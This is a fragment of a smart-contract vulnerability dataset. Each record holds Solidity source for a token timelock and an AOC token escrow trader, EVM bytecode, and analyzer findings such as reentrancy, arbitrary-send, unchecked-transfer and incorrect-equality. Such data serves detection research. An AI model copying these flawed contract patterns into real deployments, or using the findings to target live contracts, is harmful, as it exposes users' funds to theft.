02556040518190600080516020612ac7833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b61147c6119d9565b6000546001600160a01b039081169116146114cc576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b60148054911515600160a81b0260ff60a81b19909216919091179055565b6114f26119d9565b6000546001600160a01b03908116911614611542576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b038216141561159e5760405162461bcd60e51b8152600401808060200182810382526022815260200180612b596022913960400191505060405180910390fd5b6001600160a01b03811660009081526007602052604090205460ff161561160c576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526003602052604090205415611666576001600160a01b03811660009081526003602052604090205461164c90610b56565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6116d46119d9565b6000546001600160a01b03908116911614611724576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b6001600160a01b0381166117695760405162461bcd60e51b81526004018080602001828103825260268152602001806129c26026913960400191505060405180910390fd5b600080546040516001600160a01b0380851693921691600080516020612ac783398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6117ba6119d9565b6000546001600160a01b0390811691161461180a576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b47610e0d81612158565b4790565b6118206119d9565b6000546001600160a01b03908116911614611870576040805162461bcd60e51b81526020600482018190526024820152600080516020612aa7833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff166118dd576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b6008548110156119d557816001600160a01b03166008828154811061190157fe5b6000918252602090912001546001600160a01b031614156119cd5760088054600019810190811061192e57fe5b600091825260209091200154600880546001600160a01b03909216918390811061195457fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff1916905560088054806119a657fe5b600082815260209020810160001990810180546001600160a01b03191690550190556119d5565b6001016118e0565b5050565b3390565b6001600160a01b038316611a225760405162461bcd60e51b8152600401808060200182810382526024815260200180612b356024913960400191505060405180910390fd5b6001600160a01b038216611a675760405162461bcd60e51b81526004018080602001828103825260228152602001806129e86022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611b0e5760405162461bcd60e51b8152600401808060200182810382526025815260200180612b106025913960400191505060405180910390fd5b6001600160a01b038216611b535760405162461bcd60e51b81526004018080602001828103825260238152602001806129756023913960400191505060405180910390fd5b60008111611b925760405162461bcd60e51b8152600401808060200182810382526029815260200180612ae76029913960400191505060405180910390fd5b611b9a610ff0565b6001600160a01b0316836001600160a01b031614158015611bd45750611bbe610ff0565b6001600160a01b0316826001600160a01b031614155b15611c1a57601554811115611c1a5760405162461bcd60e51b8152600401808060200182810382526028815260200180612a366028913960400191505060405180910390fd5b6000611c2530610efe565b90506015548110611c3557506015545b6016546014549082101590600160a01b900460ff16158015611c605750601454600160a81b900460ff165b8015611c695750805b8015611ca757507f0000000000000000000000009c8609f42ea1276c168341e904ef3dea8bfa356a6001600160a01b0316856001600160a01b031614155b15611cc757611cb582611f21565b478015611cc557611cc547612158565b505b6001600160a01b03851660009081526006602052604090205460019060ff1680611d0957506001600160a01b03851660009081526006602052604090205460ff165b15611d12575060005b611d1e868686846121dd565b505050505050565b60008184841115611db55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d7a578181015183820152602001611d62565b50505050905090810190601f168015611da75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611dca612351565b9092509050611dd98282611de0565b9250505090565b6000611e2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124b4565b9392505050565b600082820183811015611e22576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000611ea08a600f54601054612519565b9250925092506000611eb0611dbd565b90506000806000611ec28e878661256e565b919e509c509a509598509396509194505050505091939550919395565b6000611e2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d26565b6014805460ff60a01b1916600160a01b17905560408051600280825260608083018452926020830190803683370190505090503081600081518110611f6257fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fdb57600080fd5b505afa158015611fef573d6000803e3d6000fd5b505050506040513d602081101561200557600080fd5b505181518290600190811061201657fe5b60200260200101906001600160a01b031690816001600160a01b031681525050612061307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846119dd565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156121065781810151838201526020016120ee565b505050509050019650505050505050600060405180830381600087803b15801561212f57600080fd5b505af1158015612143573d6000803e3d6000fd5b50506014805460ff60a01b1916905550505050565b6013546001600160a01b03166108fc612172836002611de0565b6040518115909202916000818181858888f1935050505015801561219a573d6000803e3d6000fd5b506014546001600160a01b03166108fc6121b5836002611de0565b6040518115909202916000818181858888f193505050501580156119d5573d6000803e3d6000fd5b806121ea576121ea6125aa565b6001600160a01b03841660009081526007602052604090205460ff16801561222b57506001600160a01b03831660009081526007602052604090205460ff16155b156122405761223b8484846125dc565b61233e565b6001600160a01b03841660009081526007602052604090205460ff1615801561228157506001600160a01b03831660009081526007602052604090205460ff165b156122915761223b848484612700565b6001600160a01b03841660009081526007602052604090205460ff161580156122d357506001600160a01b03831660009081526007602052604090205460ff16155b156122e35761223b8484846127a9565b6001600160a01b03841660009081526007602052604090205460ff16801561232357506001600160a01b03831660009081526007602052604090205460ff165b156123335761223b8484846127ed565b61233e8484846127a9565b8061234b5761234b612860565b50505050565b600a546009546000918291825b6008548110156124825782600360006008848154811061237a57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806123df57508160046000600884815481106123b857fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156123f657600a54600954945094505050506124b0565b612436600360006008848154811061240a57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611edf565b9250612478600460006008848154811061244c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611edf565b915060010161235e565b50600954600a5461249291611de0565b8210156124aa57600a546009549350935050506124b0565b90925090505b9091565b600081836125035760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611d7a578181015183820152602001611d62565b50600083858161250f57fe5b0495945050505050565b6000808080612533606461252d898961286e565b90611de0565b90506000612546606461252d8a8961286e565b9050600061255e826125588b86611edf565b90611edf565b9992985090965090945050505050565b600080808061257d878661286e565b9050600061258b878761286e565b905060006125998383611edf565b929992985090965090945050505050565b600f541580156125ba5750601054155b156125c4576125da565b600f805460115560108054601255600091829055555b565b6000806000806000806125ee87611e83565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506126209088611edf565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461264f9087611edf565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461267e9086611e29565b6001600160a01b0389166000908152600360205260409020556126a0816128c7565b6126aa8483612950565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061271287611e83565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506127449087611edf565b6001600160a01b03808b16600090815260036020908152604080832094909455918b1681526004909152205461277a9084611e29565b6001600160a01b03891660009081526004602090815260408083209390935560039052205461267e9086611e29565b6000806000806000806127bb87611e83565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061264f9087611edf565b6000806000806000806127ff87611e83565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128319088611edf565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546127449087611edf565b601154600f55601254601055565b60008261287d5750600061097c565b8282028284828161288a57fe5b0414611e225760405162461bcd60e51b8152600401808060200182810382526021815260200180612a5e6021913960400191505060405180910390fd5b60006128d1611dbd565b905060006128df838361286e565b306000908152600360205260409020549091506128fc9082611e29565b3060009081526003602090815260408083209390935560079052205460ff161561294b573060009081526004602052604090205461293a9084611e29565b306000908152600460205260409020555b505050565b600a5461295d9083611edf565b600a55600b5461296d9082611e29565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e203130303030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220182a61619afeb4a8c87944cf62d985af3ae6b62945e9debd58bec8fe6e72184e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 21926, 2497, 2620, 2620, 2683, 24087, 23833, 2620, 29097, 2094, 19841, 3401, 2692, 18139, 2094, 2692, 2050, 16703, 9818, 2509, 2063, 22932, 21619, 2475, 2546, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,359
0x96a39152e83453fbe4cc37cd664de1684e5fc0f6
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29548800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x21aCbf8AFa88AC8b34929B2B6b86a83dD8b2D305; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820d85ed6db7bf597c6a9fbf482736a6eb4f97f07f7e6f47539d24fe50053bb2a180029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2050, 23499, 16068, 2475, 2063, 2620, 22022, 22275, 26337, 2063, 2549, 9468, 24434, 19797, 28756, 2549, 3207, 16048, 2620, 2549, 2063, 2629, 11329, 2692, 2546, 2575, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,360
0x96a3b6d2aa6241e1b2d539286958aeb6f1e49d69
pragma solidity ^0.4.19; // Axie AOC sell contract. Not affiliated with the game developers. Use at your own risk. // // BUYERS: to protect against scams: // 1) check the price by clicking on "Read smart contract" in etherscan. Two prices are published // a) price for 1 AOC in wei (1 wei = 10^-18 ETH), and b) number of AOC you get for 1 ETH // 2) Make sure you use high enough gas price that your TX confirms within 1 hour, to avoid the scam // detailed below* // 3) Check the hardcoded AOC address below givet to AOCToken() constructor. Make sure this is the real AOC // token. Scammers could clone this contract and modify the address to sell you fake tokens. // // This contract enables trustless exchange of AOC tokens for ETH. // Anyone can use this contract to sell AOC, as long as it is in an empty state. // Contract is in an empty state if it has no AOC or ETH in it and is not in cooldown // The main idea behind the contract is to keep it very simple to use, especially for buyers. // Sellers need to set allowance and call the setup() function using MEW, which is a little more involved. // Buyers can use Metamask to send and receive AOC tokens. // // To use the contract: // 1) Call approve on the AOC ERC20 address for this contract. That will allow the contract // to hold your AOC tokens in escrow. You can always withdraw you AOC tokens back. // You can make this call using MEW. The AOC contract address and ABI are available here: // https://etherscan.io/address/0x73d7b530d181ef957525c6fbe2ab8f28bf4f81cf#code // 2) Call setup(AOC_amount, price) on this contract, for example by using MEW. // This call will take your tokens and hold them in escrow, while at the same time // you get the ownership of the contract. While you own the contract (i.e. while the contract // holds your tokens or your ETH, nobody else can call setup(). If they do, the call will fail. // If you call approve() on the AOC contract, but someone else calls setup() on this contract // nothing bad happens. You can either wait for this contract to go into empty state, or find // another contract (or publish your own). You will need to call approve() again for the new contract. // 3) Advertise the contract address so others can buy AOC from it. Buying AOC is simple, the // buyer needs to send ETH to the contract address, and the contract sends them AOC. The buyer // can verify the price by viewing the contract. // 4) To claim your funds back (both AOC and ETH resulting from any sales), simply send 0 ETH to // the contract. The contract will send you ETH and AOC back, and reset the contract for others to use. // // *) There is a cooldown period of 1 hour after the contract is reset, before it can be used again. // This is to avoid possible scams where the seller sees a pending TX on the contract, then resets // the contract and call setup() is a much higher price. If the seller does that with very high gas price, // they could change the price for the buyer's pending TX. A cooldown of 1 hour prevents this attac, as long // as the buyer's TX confirms within the hour. interface AOCToken { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address from, address to, uint256 value) external returns (bool); } contract AOCTrader { AOCToken AOC = AOCToken(0x73d7B530d181ef957525c6FBE2Ab8F28Bf4f81Cf); // hardcoded AOC address to avoid scams. address public seller; uint256 public price; // price is in wei, not ether uint256 public AOC_available; // remaining amount of AOC. This is just a convenience variable for buyers, not really used in the contract. uint256 public Amount_of_AOC_for_One_ETH; // shows how much AOC you get for 1 ETH. Helps avoid price scams. uint256 cooldown_start_time; function AOCTrader() public { seller = 0x0; price = 0; AOC_available = 0; Amount_of_AOC_for_One_ETH = 0; cooldown_start_time = 0; } // convenience is_empty function. Sellers should check this before using the contract function is_empty() public view returns (bool) { return (now - cooldown_start_time > 1 hours) && (this.balance==0) && (AOC.balanceOf(this) == 0); } // Before calling setup, the sender must call Approve() on the AOC token // That sets allowance for this contract to sell the tokens on sender's behalf function setup(uint256 AOC_amount, uint256 price_in_wei) public { require(is_empty()); // must not be in cooldown require(AOC.allowance(msg.sender, this) >= AOC_amount); // contract needs enough allowance require(price_in_wei > 1000); // to avoid mistakes, require price to be more than 1000 wei price = price_in_wei; AOC_available = AOC_amount; Amount_of_AOC_for_One_ETH = 1 ether / price_in_wei; seller = msg.sender; require(AOC.transferFrom(msg.sender, this, AOC_amount)); // move AOC to this contract to hold in escrow } function() public payable{ uint256 eth_balance = this.balance; uint256 AOC_balance = AOC.balanceOf(this); if(msg.sender == seller){ seller = 0x0; // reset seller price = 0; // reset price AOC_available = 0; // reset available AOC Amount_of_AOC_for_One_ETH = 0; // reset price cooldown_start_time = now; // start cooldown timer if(eth_balance > 0) msg.sender.transfer(eth_balance); // withdraw all ETH if(AOC_balance > 0) require(AOC.transfer(msg.sender, AOC_balance)); // withdraw all AOC } else{ require(msg.value > 0); // must send some ETH to buy AOC require(price > 0); // cannot divide by zero uint256 num_AOC = msg.value / price; // calculate number of AOC tokens for the ETH amount sent require(AOC_balance >= num_AOC); // must have enough AOC in the contract AOC_available = AOC_balance - num_AOC; // recalculate available AOC require(AOC.transfer(msg.sender, num_AOC)); // send AOC to buyer } } }
0x606060405260043610610078576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806308551a53146104ba5780630a8fed891461050f57806317e2912f1461053b5780633c121ef5146105645780636185bb5014610591578063a035b1fe146105ba575b60008060003073ffffffffffffffffffffffffffffffffffffffff163192506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561015b57600080fd5b6102c65a03f1151561016c57600080fd5b505050604051805190509150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561037a576000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060028190555060006003819055506000600481905550426005819055506000831115610279573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561027857600080fd5b5b6000821115610375576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561034e57600080fd5b6102c65a03f1151561035f57600080fd5b50505060405180519050151561037457600080fd5b5b6104b5565b60003411151561038957600080fd5b600060025411151561039a57600080fd5b600254348115156103a757fe5b0490508082101515156103b957600080fd5b8082036003819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561048e57600080fd5b6102c65a03f1151561049f57600080fd5b5050506040518051905015156104b457600080fd5b5b505050005b34156104c557600080fd5b6104cd6105e3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561051a57600080fd5b6105396004808035906020019091908035906020019091905050610609565b005b341561054657600080fd5b61054e6108e0565b6040518082815260200191505060405180910390f35b341561056f57600080fd5b6105776108e6565b604051808215151515815260200191505060405180910390f35b341561059c57600080fd5b6105a4610a03565b6040518082815260200191505060405180910390f35b34156105c557600080fd5b6105cd610a09565b6040518082815260200191505060405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6106116108e6565b151561061c57600080fd5b816000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b151561071557600080fd5b6102c65a03f1151561072657600080fd5b505050604051805190501015151561073d57600080fd5b6103e88111151561074d57600080fd5b806002819055508160038190555080670de0b6b3a764000081151561076e57fe5b0460048190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156108b657600080fd5b6102c65a03f115156108c757600080fd5b5050506040518051905015156108dc57600080fd5b5050565b60045481565b6000610e106005544203118015610914575060003073ffffffffffffffffffffffffffffffffffffffff1631145b80156109fe575060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156109e157600080fd5b6102c65a03f115156109f257600080fd5b50505060405180519050145b905090565b60035481565b600254815600a165627a7a72305820eb6e145da47205e2cdce7de9d81f06a876bf25750af080940c5d7571c4c318c90029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
